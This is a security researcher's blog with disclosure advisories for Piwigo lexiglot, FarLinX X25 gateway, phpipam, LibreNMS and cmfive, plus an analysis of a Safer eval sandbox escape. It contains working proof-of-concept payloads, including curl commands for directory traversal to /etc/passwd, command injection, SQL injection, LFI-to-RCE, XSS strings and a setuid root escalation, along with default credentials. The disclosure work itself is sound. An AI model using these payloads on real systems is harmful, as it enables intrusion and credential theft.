JAHx181 - Piwigo lexiglot multiple vulnerabilities

Posted by Eldar Marcussen on Tue May 8 19:14:44 EDT 2018

This advisory somehow slipped between the cracks, but hey, 4 years late is better than never...right?


Lexiglot is a translation platform for PHP projects developed in PHP. -- http://piwigo.org/translate

Command injection


The username and password fields are vulnerable to command injection when adding a new project.

POST /vvv/lexiglot/admin.php?page=projects HTTP/1.1


HTTP/1.1 200 OK
  string(53) "uid=33(www-data) gid=33(www-data) groups=33(www-data)"

SQL Injection


There are several SQL injection vulnerabilties in the project.

~# curl '"+union+select+"abc"+into+outfile+"/tmp/winrar"+--+-'

POST /vvv/lexiglot/admin.php?page=history HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 79
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: lexiglot_remember_me=2-1415751084-sV2wWGNLwVjAwGDxwhXcw4oemS8%3D;
ck_login_id_20=1; ck_login_language_20=en_us;


Cross site request forgery


The identified SQL injection can be exploited through CSRF

Server side request forgery


The add a project page will request urls provided for a svn repository to ensure its a valid svn repository, an attacker can abuse this to make the server make requests on behalf of the attacker.

POST /vvv/lexiglot/admin.php?page=projects HTTP/1.1


HTTP/1.1 200 OK
  string(132) "svn: OPTIONS of 'http://host:8888': Could not read
  status line: connection was closed by server

Cross site scripting


There are both persistent and reflected xss in this project:

Reflected: Login with username a"><script>alert(1)</script>

Persistent: Through configuration interface, the install_name, intro_message and new_file_content parameters:

POST /vvv/lexiglot/admin.php?page=config HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 435
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
ck_login_id_20=1; ck_login_language_20=en_us;
X-FirePHP: 0.4.4
X-FirePHP-Version: 0.4.4
X-Wf-Max-Combined-Size: 262144


Denial of service


The api/update.php url is publicly accessible and will run svn update on all registered projects which consumes significant resources and ties up a web server thread. Multiple similtaneous requests to this url will cause resource exhaustion and render the web server inaccessible.

Local credential disclosure


The svn update function executes with username and password as command line arguments. In shared environments other users may be able to obtain these credentials by running the ps command:

~# ps auxw | grep svn
www-data 27662  0.0  0.4  12792  3548 ?        S    20:17   0:00 svn checkout  http://host:8888/ ./local/test --revision HEAD --username test --password test

Local path disclosure


Local path is disclosed by the following urls if php is configured to display warnings: include/smarty/plugins/modifier.date_format.php

Information disclosure


An attacker can access the /update.log url to view all the projects that have been updated, this can be used to leverage the aforementioned DoS attack or to browse repository code as the projects are checked out to /local/projectname. Example:

~# GET
http://localhost/vvv/lexiglot/update.log | head -1
[2014-11-08T11:58:10+01:00] rotateimage
~# GET
http://localhost/vvv/lexiglot/local/rotateimage | head -10
<title>Index of /vvv/lexiglot/local/rotateimage</title>

<img src="/icons/folder.gif" alt="[DIR]"> <a href="ar_SA/">ar_SA/</a>


Upgrade to the latest version or seek an alternative as the vendor deemed some of these issue acceptable.

Posted by Eldar Marcussen | Permanent link

JAHx164 - FarLinX X25 gateway multiple vulnerabilities

Posted by Eldar Marcussen on Thu Sep 15 02:15:00 EDT 2016

These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen.


The FarLinX X25 Gateway is the answer for handling all your X.25 to TCP/IP migration requirements. Featuring routing between TCP and X.25, TCP and XOT, X.25 and XOT, data conversion, a Triple-X PAD, Host PAD, an extension for special POS protocols and even an X.25 switch all at a very affordable cost, the FarLinX X25 Gateway fits the bill for TCP/IP to X.25 interconnection. -- http://www.farsite.com/

Fixed username allows easier bruteforcing

The device has a default login of "admin" with the password "farlinx" and while it does allow the password to be changed the username is hardcoded in the device Apache configuration and cannot be changed.

CVE-2014-7175 - Arbitrary write

The file 'fsSaveUIPersistence.php' will write user supplied data to the file 'fsUI.xyz' with minimal changes. This can be used to place attacker controlled code on the file system. This can easily be identifiedby examining the file source:

    //Receive data from client
  $strReceivedata = $_REQUEST['strSubmitData'];
    //replace some chars
  //$strReceivedata = preg_replace("/(\r\n|\n|\r)/", "\n", $strReceivedata);
  //$strReceivedata = preg_replace("/\\\/", "", $strReceivedata);

    $pFile = fopen("fsUI.xyz", "w+");
    if(fwrite($pFile, $strReceivedata) == false) 
        error_log("fail to save data to file");
    //error_log("Finished Running PHP");

CVE-2014-7174 - Multiple directory traversal

There are several php scripts based around log handling that are vulnerable to directory traversal. The following examples are provided:

curl -u admin:farlinx -k -d 'viewFilesName=../../../../../../../../etc/passwd'  https://host/sysZipTranLogFileShow.php
curl -u admin:farlinx -k -d 'savefileNames=../../../../../etc/passwd'  https://host/sysSaveEventLog.php
curl -u admin:farlinx -k -d 'saveFilesName=../../../../../etc/passwd'  https://host/sysSaveTransacLog.php
curl -u admin:farlinx -k -d 'zipfileName=../../../../../etc/passwd'  https://host/sysZipLogFileShow.php

CVE-2014-7173 - Command injection

Several command injection vulnerabilities were identified in the following scripts: sysSaveMonitorData.php, fsx25MonProxy.php, syseditdate.php, iframeupload.php and sysRestoreX25Cplt.php. The following example is provided:

curl -u admin:farlinx 'http://host/fsx25MonProxy.php?strSubmitData=start+|ifconfig'

Privilege escalation

The file /http/bin/execCmd is a setuid binary that takes a command to run with elevated privileges as a command line argument. The following example shows this in effect:

$ id
uid=99(nobody) gid=101(nobody) groups=101(nobody)
$ /http/bin/execCmd id
uid=0(root) gid=101(nobody) groups=101(nobody)

Cross Site Request Forgery

Almost everyone of the urls provided in this advisory are exploitable through CSRF. No CSRF specific proof of concept is provided beyond the urls listed above.

Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, vulnerability, disclosure

JAHx163 - phpipam multiple vulnerabilities

Posted by Eldar Marcussen on 14/09/2016

These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen


phpipam is an open-source web IP address management application. Its goal is to provide light and simple IP address management application. It is ajax-based using jQuery libraries, it uses php scripts and javascript and some HTML5/CSS3 features, so some modern browser is preferred to be able to display javascript quickly and correctly.

SQL injection

There are several cases of user supplied input used directly in SQL queries within this application allowing an attacker to divert the intended queries. The following post authentication example shows one of these:

POST /phpipam/app/tools/logs/show-logs.php HTTP/1.1
Content-Length: 81
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: Cacti=p81i8ue3o6014otc235567bng5; phpipam=3a68bpm6a8hta2gvtudnio75q5


Blind command injection

There are several cases of command injection in this application, however the most critical one is the insecure use of the subnetId parameter in the ./app/subnets/scan/subnet-scan-telnet.php file as this file does not check for authentication.

Local file inclusion

Local file inclusions are everywhere in this application, however one redeeming fact is that files must end with .php. A more permanent backdoor can be created by using the aforementioned command injection to create a .php file on the local file system. The following example shows how an unauthenticated attacker could execute a local file include attack on such a file (/tmp/pwnt.php):

curl 'http://host/phpipam/app/dashboard/widgets/index.php?section=../../../../../../../../tmp/pwnt&c=uname+-a'

Privilege escalation

The application implements a way for administrative users to impersonate other users of the application, presumably in order to test access or troubleshoot issues. However the authorisation implementation is broken into separate parts.


# verify that user is logged in

// switch user
    $_SESSION['realipamusername'] = $_SESSION['ipamusername'];
    $_SESSION['ipamusername'] = $_GET['sPage'];
    print '<script>window.location.href = "'.create_link(null).'";</script>';

While this is an admin script, is only checks for valid user, and does not check permissions. This is included through a page that checks if current user is admin. The page cannot be accessed directly as it requires a $User object to be defined. However, when combined with the aforementioned local file inclusion it can be accessed as a non administrative user and allows setting the impersonated user to a user with higher privileges. Visiting the following url as a low privilege user will elevate privileges to the Admin account:


Cross Site Request Forgery

Every form is vulnerable to CSRF, no specific examples provided.

Bonus bug: Persistent Cross Site Scripting

Older copies of this application records failed login attempts in an unsafe manner and displays this log in a log widget on the homepage of administrative users and through the log interfaces. The following example shows a PoC which could easily be modified to trigger the creation of a new admin user when executed:

As an unauthorised user, attempt to login with username xss<script>alert(1)</script>ssx and any password
Login as an administrative user and observe the alert trigger.

Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, vulnerability, disclosure

JAHx162 - LibreNMS post auth SQL injection and information disclosure

Posted by Eldar Marcussen on Tue Sep 13 07:17:38 EDT 2016

These vulnerabilities were discovered by Eldar "Wireghoul" Marcussen


LibreNMS, a fully featured network monitoring system that provides a wealth of features and device support. -- http://www.librenms.org/

Information disclosure

Librenms was using a flawed regular expression to filter input given to commands, this allowed an attacker to specify command line options which can lead to information disclosure. The following examples could be used to check the version numbers of the binaries.

curl 'https://host/netcmd.php?query=--version&cmd=tracert'
curl 'https://host/netcmd.php?query=--version&cmd=whois'
curl 'https://host/netcmd.php?query=--version&cmd=ping'


The network map script suffers from a blind SQL injection vulnerability, giving a binary condition which can be used to extract data. The following example urls both show two successful attacks:

curl 'https://host/network-map.php?format=svg&device=34+and+1=1'
curl 'https://host/network-map.php?format=svg&device=34+and+(select+count(username)+from+users)=5'

Affected versions

Versions 77e76793c518e504ceacd0cee2157f4260203fce and older

Posted by Eldar Marcussen | Permanent link | File under: security, bug, advisory, vulnerability, disclosure

JAHx161 - cmfive database credential disclosure

Posted by Eldar Marcussen on Tue Sep 13 03:53:03 EDT 2016

The following vulnerability was identified by Eldar "Wireghoul" Marcussen.


Cmfive is a php framework for creating robust and extensible business applications. It started as a micro framework which was developed by Carsten Eckelmann in 2007 in Sydney on the bus to work, lay dormant for years until it re-emerged as the foundation to the Flow Business System (https://github.com/PyramidPower/flow), which was developed in house to run a 70 people Solar Installation company. cmFive grew from the codebase of Flow, but has since then been shaped to be more modern, slimmer and ready to take on other business applications.

Source code for the framework can be found at https://github.com/2pisoftware/cmfive

CVE-2014-9702 - Informative error messages

Failure to connect to the database causes a stack trace which reveals the database connectivity details in the exception thrown from the PDO class cmfive/system/classes/DbPDO.php on line 23. The following example shows the database user root and password toor being disclosed by shutting down the database before sending the a password reset request:

POST /vvv/cmfive/auth/forgotpassword HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 103
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CM5_SID=fab02g0c47aouii6ot48bp2kj1


HTTP/1.1 200 OK
Date: Mon, 12 Jan 2015 22:29:24 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Vary: Accept-Encoding
Content-Length: 577
Content-Type: text/html

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000] [2003] Can't connect to MySQL server on '' (111)' in /var/www/vvv/cmfive/system/classes/DbPDO.php:23
Stack trace:
#0 /var/www/vvv/cmfive/system/classes/DbPDO.php(23): PDO->__construct('mysql:host=192....', 'root', 'toor', NULL)
#1 /var/www/vvv/cmfive/system/web.php(438): DbPDO->__construct(Array)
#2 /var/www/vvv/cmfive/system/web.php(201): Web->initDB()
#3 /var/www/vvv/cmfive/index.php(16): Web->start()
#4 {main}
  thrown in /var/www/vvv/cmfive/system/classes/DbPDO.php on line 23

Posted by Eldar Marcussen | Permanent link | File under: security, bug, disclosure

Vulnerability dumping time

Posted by Eldar Marcussen on Tue Sep 13 03:48:00 EDT 2016

As I have recently changed employers I will be releasing all the vulnerabilities I discovered on my own time while I was with BAE Systems. Some of these have been patched for a long time and some have never received vendor acknowledgement. As I no longer have access to the email addresses used for coordination I will not make any further attempts at coordinating the disclosure of these vulnerabilities besides posting them to the vendors public bugtracker if they use something like github. This also means that these advisories will not contain timelines.

As I haven't completely migrated my blog over to nb I will be posting the advisories as blog posts and space them out so I get time to edit them. If you feel the need to argue disclosure rhethoric, come find me on twitter as blog comments are closed.

Posted by Eldar Marcussen | Permanent link | File under: vulnerability, disclosure

Analysis of the Safer eval RCE, aka “the WAHCKON bug”

Posted by Eldar Marcussen on Fri Apr 29 08:46:23 EDT 2016

This is an analysis of a bug found by @0d4rk30 and myself. The safer eval class is an old PHP library written as an attempt to allow restricted evaluation of user supplied data. The class is no longer maintained and was never promoted as production ready. The author does not intend to fix this issue. He suggested I write about more modern ways of safely evaluation user supplied data, which I may do at some stage, but not today. I first came across the class when looking at phpReAdmin (https://github.com/billbarsch/phpReAdmin), which is one of the few projects that have adopted the class. You can grab a copy of the safer eval class and example sandbox from http://evileval.sourceforge.net/ and have a play for yourself.

The example.php provided effectively boils down to the following code:

$se = new SaferEval();
$errors = $se->checkScript($_POST['code'], 1);

To get a better understanding of how this class attempts to limit eval() lets start by looking at the checkScript() function:

function checkScript($code, $execute) {
    $this->execute = $execute;
    $this->code = $code;
    $this->tokens = token_get_all('<?php '.$this->code.' ?>');
    $this->errors = array();
    $this->braces = 0;

    // STEP 1: SYNTAX - Check if braces are balanced
    foreach ($this->tokens as $token) {
        if ($token == '{') $this->braces = $this->braces + 1;
        else if ($token == '}') $this->braces = $this->braces - 1;
        if ($this->braces < 0) { // Closing brace before one is open
            $this->errors[0]['name'] = 'Syntax error.';

    if (empty($this->errors)) {
        if ($this->braces) $this->errors[0]['name'] = 'Unbalanced braces.';

The first part of the function splits the user supplied code into parseable tokens using the token_get_all() function. It then proceeds to iterate over these tokens and modify the braces value by a positive or negative amount. The goal of this is to ensure there is a closing brace for every opening brace. In the event that a closing brace is found before an opening brace is found the code sets an error message and breaks out of the iteration leaving the braces value as -1. Once the iteration completes or is broken out of it checks if an error has already been set. If no error has been set it checks if braces contains a positive value (more opening than closing braces), and sets an error message if true. Otherwise (an error had already been set) the function then continues execution into STEP 2 before proceeding to STEP 3:

    // STEP 2: SYNTAX - Check if syntax is valid
    else if (!$this->evalSyntax($this->code)) {
        $this->errors[0]['name'] = 'Syntax error.';

    // STEP 3: EXPRESSIONS - Check against various insecure elements
    if (empty($this->errors)) foreach ($this->disallowedExpressions as $disallowedExpression) {
        preg_match($disallowedExpression, $this->code, $matches);
        if($matches) {
            $this->errors[0]['name'] = 'Execution operator / variable function name / variable variable name detected.';

STEP 2 tries to validate the syntax of the code if an error was set from the token parsing. Keen readers will have noticed this can only occur if there is a closing bracket before an opening bracket. Ok, lets detour into the evalSyntax functionto see what’s going on:

function evalSyntax($code) { // Separate function for checking syntax without breaking the script
    ob_start(); // Catch potential parse error messages
    $code = eval('if(0){' . "\n" . $code . "\n" . '}'); // Put $code in a dead code sandbox to prevent its execution
    return $code !== false;

This function supresses output by using ob_start() and ob_clean() before and after an eval call which evaluates user supplied code. It attempts to prevent the user supplied code by wrapping it inside a if(0) condition that will never be true and should not execute the code within it’s braces. Except, this code concatinates the user supplied code within the opening and closing brace in a function call that only gets called on a code that contains a closing brace before an opening brace…

Lets visualise this with some examples:

$v = rand(1,10);

This example has a braces value of 0 and does not enter step2.


This example has a braces value of 2, but also skips step2 as there was no early error message.

} abc

This code has a braces value of -1 and ends of being concatinated into the if statement in step2 like this:

} abc

Resulting in a silent syntax error trying to parse the abc bareword and an unclosed brace. We can now leverage this to execute code:

} else { phpinfo();

It gives no output and states syntax error. Not what you expected? The reason for this is that evalSyntax supresses output and the syntax error code occurs in STEP4 as this eval call does not contain any braces before our code.

This leaves us with a few options, it is possible to blindly setup a netcat connect back shell by calling system(), or we can explicitly flush the buffers before ob_clean() is called. Which can easily be done by including ob_flush() or exit() at the end of the injected code. For example:

} echo WAHCKON; exit; {

I chose to call this the WAHCKON bug as the annual WAHCKON conference starts in Perth WA tomorrow. This marks the third year the mismatched braces in their logo has been annoying the OCD out of me. So when this bug came along with its mismatched braces at a suitable time it seemed like a good fit. I hope everyone has a great time at WAHCKON this year!

Posted by Eldar Marcussen | Permanent link | File under: security, exploit, bug, advisory, vulnerability, hacking, disclosure

Blog revamp

Posted by Eldar Marcussen on Tue Apr 26 03:53:59 EDT 2016

So after a few years of inactivity it is finally time to start blogging again.

The first proper post should follow in a few days and then it should hopefully be semi regular ongoing updates.

I'm playing with static site generators, so I expect there will be plenty of broken links, ongoing changes to layout and styles while I work around integrating the old and new content. If you spot anything broken, please let me know via twitter as I will no longer support blog comments.

The older posts can be accessed via the old index.

Posted by Eldar Marcussen | Permanent link